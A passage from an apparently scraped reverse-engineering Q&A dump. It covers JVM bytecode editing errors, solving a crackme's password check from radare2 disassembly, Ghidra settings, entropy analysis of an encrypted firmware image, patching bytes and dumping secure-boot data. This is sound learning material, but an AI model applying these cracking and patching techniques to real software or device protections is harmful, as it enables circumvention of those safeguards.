bb00&#xA;    0x0000070: 5d59 b700 5e3a 052a 2b19 042d 1905 b400&#xA;    0x0000080: 61b6 0065 1905 b400 61b9 0066 0100 3a07&#xA;    0x0000090: a700 1d19 07b9 0034 0100 c000 363a 062a&#xA;    0x00000a0: b400 1419 0619 05b9 006c 0300 5719 07b9&#xA;    0x00000b0: 0051 0100 9aff df2a b400 1919 05b9 006f&#xA;    0x00000c0: 0200 572c b600 7299 ff90 2ab4 0019 b900&#xA;    0x00000d0: 6601 003a 05a7 0107 1905 b900 3401 00c0&#xA;    0x00000e0: 005d 3a04 1904 b400 61b9 0066 0100 3a07&#xA;    0x00000f0: a700 d319 07b9 0034 0100 c000 363a 0619&#xA;    0x0000100: 06b4 003f b900 2c01 003a 09a7 004c 1909&#xA;    0x0000110: b900 3401 00c0 0036 3a08 2bb4 0026 1908&#xA;    0x0000120: b900 7302 009a 0006 a700 2f2a b400 1419&#xA;    0x0000130: 08b9 0076 0200 1904 a600 06a7 001c 1904&#xA;    0x0000140: b400 782a b400 1419 08b9 0076 0200 c000&#xA;    0x0000150: 5db9 006f 0200 5719 09b9 0051 0100 9aff&#xA;    0x0000160: b019 06b4 007b b900 2c01 003a 09a7 004c&#xA;    0x0000170: 1909 b900 3401 00c0 0036 3a08 2bb4 0026&#xA;    0x0000180: 1908 b900 7302 009a 0006 a700 2f2a b400&#xA;    0x0000190: 1419 08b9 0076 0200 1904 a600 06a7 001c&#xA;    0x00001a0: 1904 b400 7e2a b400 1419 08b9 0076 0200&#xA;    0x00001b0: c000 5db9 006f 0200 5719 09b9 0051 0100&#xA;    0x00001c0: 9aff b019 07b9 0051 0100 9aff 2919 0419&#xA;    0x00001d0: 04b4 0078 b900 8201 00b5 0086 1905 b900&#xA;    0x00001e0: 5101 009a fef5 b1                      &#xA;  Stackmap Table:&#xA;    full_frame(@30,{Object[#2],Object[#34],Object[#31],Object[#46],Top,Object[#48]},{})&#xA;    same_frame(@68)&#xA;    chop_frame(@87,2)&#xA;    append_frame(@110,Object[#54])&#xA;    append_frame(@147,Object[#93],Top,Object[#48])&#xA;    same_frame(@173)&#xA;    full_frame(@195,{Object[#2],Object[#34],Object[#31],Object[#46]},{})&#xA;    append_frame(@216,Top,Object[#48])&#xA;    full_frame(@243,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Top,Object[#48]},{})&#xA;    full_frame(@270,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Top,Object[#48]},{})&#xA;    full_frame(@299,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Object[#54],Object[#48]},{})&#xA;    same_frame(@318)&#xA;    full_frame(@343,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Top,Object[#48]},{})&#xA;    same_frame(@368)&#xA;    full_frame(@397,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Object[#54],Object[#48]},{})&#xA;    same_frame(@416)&#xA;    full_frame(@441,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Object[#54],Object[#48],Top,Object[#48]},{})&#xA;    full_frame(@451,{Object[#2],Object[#34],Object[#31],Object[#46],Object[#93],Object[#48],Top,Object[#48]},{})&#xA;    full_frame(@476,{Object[#2],Object[#34],Object[#31],Object[#46],Top,Object[#48]},{})&#xA;&#xA;    at wy2.Util.buildMethodHash2(Util.java:132)&#xA;    at wy2.Util.doIt(Util.java:29)&#xA;    at wy2.Main.genData(Main.java:68)&#xA;    at wy2.Main.main(Main.java:59)&#xA;    ... 5 more&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What i'm doing wrong? Is it a JByteMod bug?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the links to the class file &lt;a href=&quot;https://www.dropbox.com/s/lw5myx9hjy6zjj8/SCCUtil.class?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;before&lt;/a&gt; and &lt;a href=&quot;https://www.dropbox.com/s/pj2whfmb32s7ge3/SCCUtil-modified.class?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;after&lt;/a&gt; modification.&lt;/p&gt;&#xA;" OwnerUserId="15129" LastEditorUserId="15129" LastEditDate="2019-04-19T16:46:26.250" LastActivityDate="2019-04-22T20:30:38.187" Title="Constant pool error" Tags="|java|byte-code|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21186" PostTypeId="1" AcceptedAnswerId="21192" CreationDate="2019-04-20T02:05:38.253" Score="0" ViewCount="297" Body="&lt;p&gt;I'm working on a crackme, where the objective is to find the valid password given a program. I'm using radare2 to reverse engineering the program. To do so, I need to enter a password that forces this program to &lt;em&gt;bypass&lt;/em&gt; all the conditional jumps (&lt;code&gt;jne&lt;/code&gt;'s, &lt;code&gt;jle&lt;/code&gt;'s, &lt;code&gt;jg&lt;/code&gt;'s throughout). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus far, I've only concluded that the password must be 4 characters long, and the lowest 8 bits is 0x79, or ASCII character 'y' (please correct me if I'm wrong). The first N disassembled bytes (until I get stuck) are given below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~/Exploit_Class_NSL/Week1/Exercise4# r2 -AAAA example4 &#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;[x] Enable constraint types analysis for variables&#xA;[0x00401080]&amp;gt; pdf @main&#xA;            ;-- main:&#xA;/ (fcn) sym.main 201&#xA;|   sym.main (int argc, char **argv, char **envp);&#xA;|           ; var int local_20h @ rbp-0x20&#xA;|           ; var int local_14h @ rbp-0x14&#xA;|           ; var int local_5h @ rbp-0x5&#xA;|           ; var int local_4h @ rbp-0x4&#xA;|           ; var int local_3h @ rbp-0x3&#xA;|           ; var int local_2h @ rbp-0x2&#xA;|           ; arg int argc @ rdi&#xA;|           ; arg char **argv @ rsi&#xA;|           ; DATA XREF from entry0 (0x40109d)&#xA;|           0x00401162      55             push rbp&#xA;|           0x00401163      4889e5         mov rbp, rsp&#xA;|           0x00401166      4883ec20       sub rsp, 0x20&#xA;|           0x0040116a      897dec         mov dword [local_14h], edi  ; argc&#xA;|           0x0040116d      488975e0       mov qword [local_20h], rsi  ; argv&#xA;|           0x00401171      488d3d8c0e00.  lea rdi, qword str.enter_the_password: ; 0x402004 ; &quot;enter the password: &quot;&#xA;|           0x00401178      b800000000     mov eax, 0&#xA;|           0x0040117d      e8cefeffff     call sym.imp.printf         ; int printf(const char *format)&#xA;|           0x00401182      488b15c72e00.  mov rdx, qword [obj.stdin__GLIBC_2.2.5] ; obj.__TMC_END ; [0x404050:8]=0&#xA;|           0x00401189      488d45fb       lea rax, qword [local_5h]&#xA;|           0x0040118d      be05000000     mov esi, 5&#xA;|           0x00401192      4889c7         mov rdi, rax&#xA;|           0x00401195      e8c6feffff     call sym.imp.fgets          ; char *fgets(char *s, int size, FILE *stream)&#xA;|           0x0040119a      488d45fb       lea rax, qword [local_5h]&#xA;|           0x0040119e      4889c7         mov rdi, rax&#xA;|           0x004011a1      e89afeffff     call sym.imp.strlen         ; size_t strlen(const char *s)&#xA;|           0x004011a6      4883f804       cmp rax, 4                  ; 4&#xA;|       ,=&amp;lt; 0x004011aa      7559           jne 0x401205&#xA;|       |   0x004011ac      0fb645fb       movzx eax, byte [local_5h]&#xA;|       |   0x004011b0      3c79           cmp al, 0x79                ; 'y' ; 121&#xA;|      ,==&amp;lt; 0x004011b2      7554           jne 0x401208&#xA;|      ||   0x004011b4      0fb645fc       movzx eax, byte [local_4h]&#xA;|      ||   0x004011b8      0fbed0         movsx edx, al&#xA;|      ||   0x004011bb      0fb645fd       movzx eax, byte [local_3h]&#xA;|      ||   0x004011bf      0fbec0         movsx eax, al&#xA;|      ||   0x004011c2      01d0           add eax, edx&#xA;|      ||   0x004011c4      3dda000000     cmp eax, 0xda               ; 218&#xA;|     ,===&amp;lt; 0x004011c9      7540           jne 0x40120b&#xA;|     |||   0x004011cb      0fb645fd       movzx eax, byte [local_3h]&#xA;|     |||   0x004011cf      3c6c           cmp al, 0x6c                ; 'l' ; 108&#xA;|    ,====&amp;lt; 0x004011d1      7e3b           jle 0x40120e&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At 0x004011b4 is where I start to get stuck. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|      ||   0x004011b4      0fb645fc       movzx eax, byte [local_4h]&#xA;|      ||   0x004011b8      0fbed0         movsx edx, al&#xA;|      ||   0x004011bb      0fb645fd       movzx eax, byte [local_3h]&#xA;|      ||   0x004011bf      0fbec0         movsx eax, al&#xA;|      ||   0x004011c2      01d0           add eax, edx&#xA;|      ||   0x004011c4      3dda000000     cmp eax, 0xda               ; 218&#xA;|     ,===&amp;lt; 0x004011c9      7540           jne 0x40120b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are local variables &lt;code&gt;local_3h&lt;/code&gt; and &lt;code&gt;local_4h&lt;/code&gt; ever initialized? If so, how? How &lt;em&gt;should&lt;/em&gt; I go about stepping through this on my own?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried toying around with different functions in r2, like &lt;code&gt;afvd&lt;/code&gt;, &lt;code&gt;e [ ]&lt;/code&gt;, etc., but haven't gotten anywhere yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="25262" LastActivityDate="2019-04-20T15:01:42.423" Title="crackme disassembly - are these local variables ever initialized?" Tags="|disassembly|debugging|radare2|crackme|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21187" PostTypeId="1" AcceptedAnswerId="21189" CreationDate="2019-04-20T04:41:58.190" Score="6" ViewCount="4837" Body="&lt;p&gt;In IDA I would press Alt+G and set the T register to 1 to first the code to be Thumb, but in Ghidra am not not sure how to force it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The context is I have some functions pointed to by a data structure, I have set those to have a data type of a new function pointer type, so I am not sure if I really just need to re-analyze the code, and it will flow correctly (also not sure how to that), Or if I just need to manually force it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit:]I originally selected ARMv4 as my target, after doing some reading &lt;a href=&quot;https://en.wikipedia.org/wiki/ARM_architecture#Thumb&quot; rel=&quot;noreferrer&quot;&gt;ARM architecture&lt;/a&gt; and starting again with ARMv7 the code correctly has Thumb support. &lt;/p&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2019-04-20T05:16:31.777" LastActivityDate="2019-04-20T05:30:25.190" Title="In Ghidra what do I need to set so disassembler is in Thumb mode instead of ARM" Tags="|arm|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21188" PostTypeId="2" ParentId="21186" CreationDate="2019-04-20T05:22:36.367" Score="0" Body="&lt;p&gt;I would say they are initialized on the stack for the local scope, as local variables for the function.  My thoughts are look at the data stored on the local stack.  I'm not sure if that is what you are looking for as an answer.  I hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="28208" LastActivityDate="2019-04-20T05:22:36.367" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21189" PostTypeId="2" ParentId="21187" CreationDate="2019-04-20T05:30:25.190" Score="6" Body="&lt;p&gt;So once in an architecture that has Thumb (ARMv7+) selecting the region of interest and pressing CTRL+R will bring up the Set Register Value editor, and selecting TMode and setting value 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the Edit -&gt; Tool Options -&gt; Options | Listing Fields | Register Field | Display Hidden Registers set, you will have annotations like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;assume TMode = 0x1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your listings&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2019-04-20T05:30:25.190" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21190" PostTypeId="2" ParentId="21175" CreationDate="2019-04-20T07:12:26.213" Score="7" Body="&lt;p&gt;When performing firmware analysis, examination of an entropy plot should always be the first step, since this is the fastest way of determining whether the file is compressed or encrypted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, an entropy plot and the byte frequency distribution of the file indicate that it is encrypted. Hence, no signatures and nonsense strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;entropy level is very close to the maximum throughout the file.&lt;/li&gt;&#xA;&lt;li&gt;the distribution of byte values is close to uniform, indicating that the file is more likely to be encrypted than compressed.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Entropy plot produced via &lt;code&gt;binwalk -E s1131_402ES.img&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p1eVY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p1eVY.png&quot; alt=&quot;entropy plot&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Byte frequency distribution:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lcXfQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lcXfQ.png&quot; alt=&quot;distributions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code used to produce these plots as well as some discussion of the reasoning behind this choice of visualization can be found in this &lt;a href=&quot;https://gist.github.com/daeumerj/d67b44c2c87d34b15ad0082ba16b17b1&quot; rel=&quot;nofollow noreferrer&quot;&gt;gist&lt;/a&gt;, and is included as a script here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import numpy as np&#xA;import matplotlib.pyplot as plt&#xA;plt.rcParams['figure.figsize'] = [15, 5]&#xA;import seaborn as sns; sns.set()&#xA;&#xA;def plot_relative_frequency_distribution(data, filename):&#xA;&#xA;    # unvariate&#xA;    ax = sns.distplot(np.array(list(data)), &#xA;                      bins=256, &#xA;                      kde=False,&#xA;                      hist_kws={'alpha':0.8},&#xA;                      norm_hist=True, &#xA;                      color='blue');&#xA;    ax.set(xlabel='Byte Value (base 10)', &#xA;            ylabel='Relative Frequency', &#xA;            title='Relative Frequency Histogram of Byte Values')&#xA;    # control x axis range&#xA;    ax.set_xlim(-10, 260)&#xA;    #ax.set_ylim(0, 0.10)&#xA;    ax.set_title(filename)&#xA;&#xA;&#xA;def plot_cdf(data, filename):&#xA;    ax = sns.distplot(np.array(list(data)), &#xA;                      bins=256, &#xA;                      kde=False,&#xA;                      hist_kws={'histtype':'step', 'cumulative': True, 'linewidth':1, 'alpha':1}, &#xA;                      kde_kws={'cumulative': True},&#xA;                      norm_hist=True, &#xA;                      color='red');&#xA;&#xA;    ax.set(xlabel='Byte Value (base 10)', &#xA;           ylabel='Probability', &#xA;           title='CDF of Byte Values')&#xA;            # control x axis range&#xA;    ax.set_xlim(-10, 260)&#xA;    #ax.set_ylim(0, 0.10)&#xA;&#xA;def create_plots(file):&#xA;&#xA;    with open(file, 'rb') as f:&#xA;        data = f.read()&#xA;&#xA;    # control layout&#xA;    grid = plt.GridSpec(1, 3, wspace=0.3, hspace=0.1)&#xA;&#xA;    # first plot&#xA;    plt.subplot(grid[0, :2])&#xA;    plot_relative_frequency_distribution(data, f.name)&#xA;&#xA;    # second plot&#xA;    plt.subplot(grid[0, 2:])&#xA;    plot_cdf(data, f.name)&#xA;&#xA;    plt.show()&#xA;&#xA;def main():&#xA;    create_plots('s1131_402ES.img')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2019-04-24T08:12:09.487" LastActivityDate="2019-04-24T08:12:09.487" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21191" PostTypeId="2" ParentId="21177" CreationDate="2019-04-20T07:39:23.263" Score="1" Body="&lt;p&gt;Depending on the CPU architecture the process targets, there are many &lt;em&gt;dynamic instrumentation&lt;/em&gt; tools that can perform this function. However, you have not specified the environment the process of interest runs in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Architecture-specific examples:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Intel's pintool. Someone on stackoverflow has already asked about how to use pintool to &lt;a href=&quot;https://stackoverflow.com/questions/51478420/log-all-instruction-with-intel-pintool&quot;&gt;print all executed instructions&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/panda-re/panda/blob/master/panda/docs/manual.md#recordreplay-details&quot; rel=&quot;nofollow noreferrer&quot;&gt;PANDA&lt;/a&gt;. This framework includes a plugin called &lt;code&gt;PANDA_CB_INSN_TRANSLATE&lt;/code&gt; which is triggered prior to instruction translation and can be paired with &lt;code&gt;PANDA_CB_INSN_EXEC&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The DynamoRIO-based tool &lt;a href=&quot;https://github.com/DynamoRIO/dynamorio/blob/master/api/samples/instrace_x86.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;instrace&lt;/a&gt;. &quot;instrace&quot; is short for &quot;instruction trace&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2019-04-20T07:39:23.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21192" PostTypeId="2" ParentId="21186" CreationDate="2019-04-20T15:01:42.423" Score="3" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;, they are initialized, albeit indirectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at this fragment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x00401189      488d45fb       lea rax, qword [local_5h]&#xA;   0x0040118d      be05000000     mov esi, 5&#xA;   0x00401192      4889c7         mov rdi, rax&#xA;   0x00401195      e8c6feffff     call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here we're calling the &lt;a href=&quot;https://en.cppreference.com/w/c/io/fgets&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;fgets&lt;/code&gt; function&lt;/a&gt;, passing to it the address of the &lt;code&gt;local_5h&lt;/code&gt; as &lt;code&gt;s&lt;/code&gt; and value 5 as &lt;code&gt;size&lt;/code&gt;. This means that up to 5 bytes (including the terminating zero) can be read into the memory starting at &lt;code&gt;local_5h&lt;/code&gt;, i.e. &lt;code&gt;local_4h&lt;/code&gt; and &lt;code&gt;local_3h&lt;/code&gt; are the second and third characters of the retrieved string.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-04-20T15:01:42.423" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21193" PostTypeId="2" ParentId="21184" CreationDate="2019-04-20T18:12:22.680" Score="4" Body="&lt;p&gt;The issue is that constant pool entry 67 (the one for your List.get()) method has the type &lt;code&gt;Method&lt;/code&gt;, rather than &lt;code&gt;InterfaceMethod&lt;/code&gt;, even though you are trying to invoke it as an interface method. When using &lt;code&gt;invokeinterface&lt;/code&gt;, the corresponding constant pool entries need to be &lt;code&gt;InterfaceMethod&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you didn't specify the type itself, this is likely a bug in the tool you used. You may want to try using the &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau assembler/disassembler&lt;/a&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When using Krakatau, the constant pool type is specified after the invoke instruction. For example, on the following line of the disassembly for your class, &lt;code&gt;Method&lt;/code&gt; should be changed to &lt;code&gt;InterfaceMethod&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;L51:    invokeinterface Method java/util/List get (I)Ljava/lang/Object; 2 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="1739" LastEditDate="2019-04-22T20:30:38.187" LastActivityDate="2019-04-22T20:30:38.187" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21194" PostTypeId="1" AcceptedAnswerId="21196" CreationDate="2019-04-21T00:01:43.370" Score="2" ViewCount="160" Body="&lt;p&gt;I know how to write an opcode and how to increment and decrement machine code using plus and minus keys. However, how do I write a sequence of machine code at an offset?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. if I want to write five 0x90, how would I do that?&lt;/p&gt;&#xA;" OwnerUserId="25560" LastActivityDate="2019-04-24T02:50:07.460" Title="How to write sequence of machine code in radare2?" Tags="|radare2|patching|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21195" PostTypeId="1" AcceptedAnswerId="21423" CreationDate="2019-04-21T03:58:26.880" Score="6" ViewCount="278" Body="&lt;p&gt;In both IDA and Ghidra have a very nice beginning of function marker text&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghidra:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;**************************************************************&#xA;*                          FUNCTION                          * &#xA;**************************************************************&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; =============== S U B R O U T I N E =======================================&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what I am struggling with is the lack of end function marker in Ghidra&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;; End of function eyefi_cmd_o&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;am I missing a configuration option?&lt;/p&gt;&#xA;" OwnerUserId="1931" LastActivityDate="2019-06-05T16:38:34.947" Title="Can Ghidra show a function footer in the Listing window" Tags="|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21196" PostTypeId="2" ParentId="21194" CreationDate="2019-04-21T05:25:58.630" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&gt; w? &lt;br&gt;&#xA;  wx[?][fs] 9090       write two intel nops (from wxfile or wxseek)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;First seek to the address you want to write, then write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; s 0x000009d5&#xA;&amp;gt; wx 34313335&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; w \x34\x31\x33\x35&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will write '4135' at the address pointed by &lt;code&gt;s&lt;/code&gt; command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radare2 also give you the option to point to the address that you want to write on:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; w \x34\x31\x33\x35 @0x000007b0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Write &quot;4135&quot; at 0x000007b0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the one you feel more comfortable.&lt;/p&gt;&#xA;" OwnerUserId="24762" LastEditorUserId="24762" LastEditDate="2019-04-24T02:50:07.460" LastActivityDate="2019-04-24T02:50:07.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21197" PostTypeId="2" ParentId="21158" CreationDate="2019-04-21T17:56:33.733" Score="3" Body="&lt;p&gt;LPC3143 supports &lt;em&gt;secure boot&lt;/em&gt; so probably this device has been configured for it. From the datasheet:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;2&quot;&gt;&#xA;  &lt;li&gt;Features&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;– On the LPC3143 only: secure booting using an &lt;strong&gt;AES decryption engine&lt;/strong&gt; from SPI&#xA;  flash, NAND flash, SD/MMC cards, UART, or USB.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;6.7 Internal Static ROM (ISROM)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The internal static ROM is used to store the boot code of the&#xA;  LPC3141/3143. After a reset, the ARM processor will start its code&#xA;  execution from this memory.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The LPC3143 ROM memory has the following features: &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Supports secure booting from SPI flash, NAND flash, SD/SDHC/MMC cards, UART, and USB&#xA;  (DFU class) interfaces. &lt;/li&gt;&#xA;  &lt;li&gt;Supports SHA1 hash checking on the boot image. &lt;/li&gt;&#xA;  &lt;li&gt;Supports non-secure boot from UART and USB (DFU class)&#xA;  interfaces during development. Once AES key is programmed in OTP, only&#xA;  secure boot is allowed through UART and USB. &lt;/li&gt;&#xA;  &lt;li&gt;Supports secure booting  from managed NAND devices such as moviNAND, iNAND, eMMC-NAND and  eSD-NAND using SD/MMC boot mode. &lt;/li&gt;&#xA;  &lt;li&gt;Contains pre-defined MMU table (16 kB) for simple systems.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;If&lt;/em&gt; you can get runtime access to the device, you may be able to dump the decrypted data; I don't see a way to decrypt these images statically.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-04-21T17:56:33.733" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21198" PostTypeId="1" CreationDate="2019-04-21T18:59:13.220" Score="0" ViewCount="121" Body="&lt;p&gt;Is it possible to recover the key to a decrypted file if you have the initialization vector and it uses RijndaelManaged? If so how? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file I want to recover the key from is a xml that looks like this without encryption. It has a xml element called Test.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;Test /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When it is encrypted with the key &lt;em&gt;&lt;code&gt;stackoverflow&lt;/code&gt;&lt;/em&gt; (73868cb1848a216984dca1b6b0ee37bc = md5 hash) and the initialization vector below, the file look like this &lt;em&gt;&lt;code&gt;¥4!¬Hw[î!71ôtž|!¢¬TÞ;u?þª-†•ÈÏ‰eßŽKtSsbZ®ÕµR©Ù«í‹&lt;/code&gt;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H5Btx.png&quot; alt=&quot;File looks like this&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initialization vector:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte[] iv = new byte[]&#xA;{&#xA;    55, 66, 77, 192, 57, 100, 11, 111,&#xA;    25, 86, 96, 66, 22, 122, 133, 43&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to reverse the key from that or are it bulletproof?&lt;/p&gt;&#xA;" OwnerUserId="28218" LastEditorUserId="28218" LastEditDate="2019-04-21T19:08:08.420" LastActivityDate="2019-04-22T23:16:41.660" Title="Is it possible to recover the key to a decrypted file?" Tags="|decompilation|decryption|encryption|cryptography|decompiler|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21199" PostTypeId="2" ParentId="21184" CreationDate="2019-04-22T08:15:03.390" Score="3" Body="&lt;p&gt;Regarding your comment &lt;em&gt;(Would respond as a comment, but don't have the 50 rep yet)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I added links to the class file before and after modification. &lt;em&gt;Is there any other better tool around?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I develop the bytecode editor &lt;a href=&quot;https://github.com/Col-E/Recaf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Recaf&lt;/a&gt;. I &lt;a href=&quot;https://i.stack.imgur.com/RO3gz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;reimplemented your code&lt;/a&gt; and it worked just fine. However lets say you forgot the &lt;em&gt;isInterface&lt;/em&gt; flag on your &lt;code&gt;INVOKEINTERFACE&lt;/code&gt; instruction &lt;em&gt;(ASM: MethodInsnNode.itf boolean)&lt;/em&gt;, 